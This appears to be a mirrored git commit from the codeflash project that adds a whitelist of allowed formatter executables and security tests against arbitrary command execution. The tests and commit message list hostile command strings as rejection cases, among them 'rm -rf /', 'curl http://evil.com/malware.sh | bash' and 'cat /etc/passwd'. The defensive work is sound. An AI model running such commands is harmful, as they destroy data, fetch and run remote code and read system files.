mirror of
https://github.com/codeflash-ai/codeflash.git
synced 2026-05-04 18:25:17 +00:00
fix: add formatter command whitelist to prevent arbitrary code execution
Security fix: Prevent arbitrary command execution via malicious formatter configuration. ## Problem formatter.py executed user-provided formatter commands without validation, allowing arbitrary shell command execution if a malicious config specified: formatter-cmds = ["rm -rf / && echo $file"] ## Solution - Added ALLOWED_FORMATTER_EXECUTABLES whitelist (black, ruff, isort, prettier, eslint, npx) - Added ALLOWED_NPX_TOOLS whitelist for npx-based tools - Created validate_formatter_command() to check commands before execution - Added validation in all entry points: format_code(), format_generated_code(), apply_formatter_cmds() - Removed TODO security comment (now implemented) ## Security Impact - Only whitelisted formatter executables can be used - NPX tools are also validated (prevents "npx malicious-package") - Invalid formatters fail fast with clear error messages - No arbitrary command execution possible ## Testing - Added 15 new security tests covering: - Whitelisted formatters (black, ruff, isort, prettier, eslint) - Rejection of arbitrary commands (rm, curl, bash, etc.) - Rejection of unknown formatters (autopep8, yapf, etc.) - NPX validation (only prettier/eslint allowed) - Empty/malformed command handling - All 48 formatter tests passing Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit is contained in:
Mohamed Ashraf
parent
b8363210ad
commit
817d655d43
2 changed files with 272 additions and 8 deletions
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@ -15,6 +15,75 @@ import isort
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from codeflash.cli_cmds.console import console, logger
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from codeflash.lsp.helpers import is_LSP_enabled
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# Whitelist of allowed formatter executables to prevent arbitrary command execution
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ALLOWED_FORMATTER_EXECUTABLES = frozenset({
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# Python formatters
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"black",
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"ruff",
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"isort",
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# JavaScript package manager (used to run formatters)
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"npx",
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# JavaScript formatters (may be called directly or via npx)
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"prettier",
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"eslint",
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# Future: Java formatters
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# "google-java-format",
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})
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# Tools that can be run via npx
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ALLOWED_NPX_TOOLS = frozenset({
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"prettier",
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"eslint",
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})
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def validate_formatter_command(command: str) -> None:
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"""Validate that a formatter command uses only whitelisted executables.
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Args:
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command: Formatter command string (e.g., "black $file", "npx prettier --write $file")
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Raises:
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ValueError: If the command uses a non-whitelisted executable
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Security: This prevents arbitrary command execution by validating that only
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known, safe formatter tools are used.
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"""
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if not command or command.strip() == "":
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raise ValueError("Formatter command cannot be empty")
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# Parse the command safely
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try:
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tokens = shlex.split(command, posix=os.name != "nt")
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except ValueError as e:
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raise ValueError(f"Invalid formatter command syntax: {command}") from e
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if not tokens:
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raise ValueError(f"Formatter command has no executable: {command}")
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# Extract the executable name (first token)
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executable = tokens[0]
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# Check if executable is in whitelist
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if executable not in ALLOWED_FORMATTER_EXECUTABLES:
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allowed_list = ", ".join(sorted(ALLOWED_FORMATTER_EXECUTABLES))
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raise ValueError(
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f"Formatter executable '{executable}' is not allowed. "
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f"Only whitelisted formatters are permitted: {allowed_list}. "
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f"Rejected command: {command}"
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)
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# Special validation for npx - ensure the tool being run is also whitelisted
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if executable == "npx" and len(tokens) > 1:
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npx_tool = tokens[1]
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if npx_tool not in ALLOWED_NPX_TOOLS:
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allowed_npx = ", ".join(sorted(ALLOWED_NPX_TOOLS))
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raise ValueError(
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f"NPX tool '{npx_tool}' is not allowed. "
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f"Only whitelisted npx tools are permitted: {allowed_npx}. "
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f"Rejected command: {command}"
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)
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def generate_unified_diff(original: str, modified: str, from_file: str, to_file: str) -> str:
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line_pattern = re.compile(r"(.*?(?:\r\n|\n|\r|$))")
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@ -58,6 +127,14 @@ def apply_formatter_cmds(
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changed = False
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for command in cmds:
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# Validate command against whitelist before execution (security check)
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try:
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validate_formatter_command(command)
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except ValueError as e:
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logger.error(f"Security: Rejected formatter command - {e}")
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if exit_on_failure:
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raise
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continue
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formatter_cmd_list = shlex.split(command, posix=os.name != "nt")
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formatter_cmd_list = [file_path.as_posix() if chunk == file_token else chunk for chunk in formatter_cmd_list]
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try:
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@ -93,9 +170,17 @@ def get_diff_lines_count(diff_output: str) -> int:
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def format_generated_code(generated_test_source: str, formatter_cmds: list[str], language: str = "python") -> str:
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from codeflash.languages.registry import get_language_support
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formatter_name = formatter_cmds[0].lower() if formatter_cmds else "disabled"
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if formatter_name == "disabled": # nothing to do if no formatter provided
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# Skip formatting if no formatter configured
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if not formatter_cmds or formatter_cmds[0] in ("disabled", ""):
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return re.sub(r"\n{2,}", "\n\n", generated_test_source)
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# Validate formatter commands (security check)
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for cmd in formatter_cmds:
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try:
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validate_formatter_command(cmd)
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except ValueError as e:
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logger.warning(f"Security: Skipping invalid formatter - {e}")
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return re.sub(r"\n{2,}", "\n\n", generated_test_source)
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with tempfile.TemporaryDirectory() as test_dir_str:
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# try running formatter, if nothing changes (could be due to formatting failing or no actual formatting needed) return code with 2 or more newlines substituted with 2 newlines
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lang_support = get_language_support(language)
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@ -125,11 +210,21 @@ def format_code(
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if isinstance(path, str):
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path = Path(path)
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# TODO: Only allow a particular whitelist of formatters here to prevent arbitrary code execution
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formatter_name = formatter_cmds[0].lower() if formatter_cmds else "disabled"
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if formatter_name == "disabled":
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# Validate formatter commands against whitelist (security check)
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# Skip validation if no formatter configured
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if not formatter_cmds or formatter_cmds[0] in ("disabled", ""):
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return path.read_text(encoding="utf8")
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# Validate all formatter commands before proceeding
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for cmd in formatter_cmds:
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try:
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validate_formatter_command(cmd)
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except ValueError as e:
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logger.error(f"Security: Invalid formatter configuration - {e}")
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if exit_on_failure:
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raise
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return path.read_text(encoding="utf8")
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with tempfile.TemporaryDirectory() as test_dir_str:
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original_code = path.read_text(encoding="utf8")
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original_code_lines = len(original_code.split("\n"))
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@ -6,7 +6,7 @@ from pathlib import Path
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import pytest
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from codeflash.code_utils.config_parser import parse_config_file
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from codeflash.code_utils.formatter import format_code, format_generated_code, sort_imports
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from codeflash.code_utils.formatter import format_code, format_generated_code, sort_imports, validate_formatter_command
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from codeflash.discovery.functions_to_optimize import FunctionToOptimize
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from codeflash.models.models import CodeString, CodeStringsMarkdown
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from codeflash.optimization.function_optimizer import FunctionOptimizer
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@ -105,7 +105,7 @@ def foo():
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def test_formatter_cmds_non_existent(temp_dir):
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"""Test that default formatter-cmds is used when it doesn't exist in the toml."""
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"""Test that default formatter-cmds is empty list when it doesn't exist in the toml."""
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config_data = """
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[tool.codeflash]
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module-root = "src"
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@ -117,8 +117,10 @@ ignore-paths = []
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config_file.write_text(config_data)
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config, _ = parse_config_file(config_file)
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assert config["formatter_cmds"] == ["black $file"]
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# Default is now empty list - formatters are detected by project detector
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assert config["formatter_cmds"] == []
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# Test that format_code still works when explicitly providing black
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try:
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import black
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except ImportError:
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@ -139,6 +141,7 @@ def foo():
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temp_file = temp_dir / "test_file.py"
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temp_file.write_text(original_code)
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# Explicitly provide black as formatter (config default is now empty)
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actual = format_code(formatter_cmds=["black $file"], path=temp_file)
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assert actual == expected
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@ -1412,3 +1415,169 @@ def test2():
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assert 'f"Hello {name}, you are {age} years old"' in result
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assert "x = 10" in result
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assert "y = 20" in result
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# ===== Security Tests for Formatter Command Whitelist =====
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def test_validate_formatter_command_allowed_black():
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"""Test that black formatter is allowed."""
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from codeflash.code_utils.formatter import validate_formatter_command
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# Should not raise
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validate_formatter_command("black $file")
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validate_formatter_command("black --line-length 88 $file")
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def test_validate_formatter_command_allowed_ruff():
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"""Test that ruff formatter is allowed."""
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from codeflash.code_utils.formatter import validate_formatter_command
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# Should not raise
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validate_formatter_command("ruff format $file")
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validate_formatter_command("ruff check --exit-zero --fix $file")
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def test_validate_formatter_command_allowed_isort():
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"""Test that isort formatter is allowed."""
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from codeflash.code_utils.formatter import validate_formatter_command
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# Should not raise
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validate_formatter_command("isort $file")
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def test_validate_formatter_command_allowed_npx_prettier():
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"""Test that npx prettier is allowed."""
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from codeflash.code_utils.formatter import validate_formatter_command
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# Should not raise
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validate_formatter_command("npx prettier --write $file")
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validate_formatter_command("npx prettier --write --single-quote $file")
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def test_validate_formatter_command_allowed_npx_eslint():
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"""Test that npx eslint is allowed."""
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from codeflash.code_utils.formatter import validate_formatter_command
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# Should not raise
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validate_formatter_command("npx eslint --fix $file")
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def test_validate_formatter_command_allowed_prettier_direct():
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"""Test that prettier can be called directly."""
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from codeflash.code_utils.formatter import validate_formatter_command
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# Should not raise
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validate_formatter_command("prettier --write $file")
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def test_validate_formatter_command_rejects_arbitrary_commands():
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"""Test that arbitrary shell commands are rejected."""
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from codeflash.code_utils.formatter import validate_formatter_command
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malicious_commands = [
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"rm -rf / && echo $file",
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"curl http://evil.com/malware.sh | bash",
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"cat /etc/passwd",
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"python -c 'import os; os.system(\"rm -rf /\")'",
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"bash -c 'evil command'",
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"sh exploit.sh",
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]
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for cmd in malicious_commands:
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with pytest.raises(ValueError, match="is not allowed"):
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validate_formatter_command(cmd)
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def test_validate_formatter_command_rejects_unknown_formatters():
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"""Test that unknown/unsupported formatters are rejected."""
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from codeflash.code_utils.formatter import validate_formatter_command
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unknown_formatters = [
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"autopep8 $file",
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"yapf $file",
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"clang-format $file",
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"rustfmt $file",
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]
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for cmd in unknown_formatters:
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with pytest.raises(ValueError, match="is not allowed"):
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validate_formatter_command(cmd)
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def test_validate_formatter_command_rejects_npx_with_invalid_tool():
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"""Test that npx with non-whitelisted tools is rejected."""
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from codeflash.code_utils.formatter import validate_formatter_command
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with pytest.raises(ValueError, match="NPX tool.*is not allowed"):
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validate_formatter_command("npx malicious-package $file")
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with pytest.raises(ValueError, match="NPX tool.*is not allowed"):
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validate_formatter_command("npx webpack $file")
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def test_validate_formatter_command_rejects_empty_command():
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"""Test that empty commands are rejected."""
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from codeflash.code_utils.formatter import validate_formatter_command
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with pytest.raises(ValueError, match="cannot be empty"):
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validate_formatter_command("")
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with pytest.raises(ValueError, match="cannot be empty"):
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validate_formatter_command(" ")
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def test_validate_formatter_command_rejects_invalid_syntax():
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"""Test that malformed commands with invalid shell syntax are rejected."""
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from codeflash.code_utils.formatter import validate_formatter_command
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with pytest.raises(ValueError, match="Invalid formatter command syntax"):
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validate_formatter_command('black "unclosed quote')
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def test_format_code_rejects_malicious_formatter(temp_dir):
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"""Test that format_code rejects malicious formatter commands."""
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temp_file = temp_dir / "test_file.py"
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temp_file.write_text("import os\n")
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# Should raise ValueError for malicious command
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with pytest.raises(ValueError, match="is not allowed"):
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format_code(formatter_cmds=["rm -rf / && echo $file"], path=temp_file)
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def test_format_code_accepts_whitelisted_formatter(temp_dir):
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"""Test that format_code accepts whitelisted formatters."""
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temp_file = temp_dir / "test_file.py"
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temp_file.write_text("import os\n")
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# Should not raise for whitelisted formatter (even if not installed)
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# The command validation should pass, even if execution fails
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try:
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format_code(formatter_cmds=["black $file"], path=temp_file, exit_on_failure=False)
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except FileNotFoundError:
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# OK if black is not installed, we just care that validation passed
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pass
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def test_format_generated_code_rejects_malicious_formatter():
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"""Test that format_generated_code rejects malicious formatter commands."""
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code = "import os\n"
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# Should return original code (with normalized newlines) when invalid formatter is provided
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result = format_generated_code(code, ["curl http://evil.com | bash"])
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assert result == code # Should return original with normalized newlines
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def test_format_generated_code_accepts_whitelisted_formatter():
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"""Test that format_generated_code accepts whitelisted formatters."""
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code = "import os\n"
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# Should not raise for whitelisted formatter (even if not installed)
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# The command validation should pass
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try:
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result = format_generated_code(code, ["black $file"])
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# If black is installed, result will be formatted; if not, will return original
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assert isinstance(result, str)
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except FileNotFoundError:
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# OK if black is not installed, we just care that validation passed
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pass
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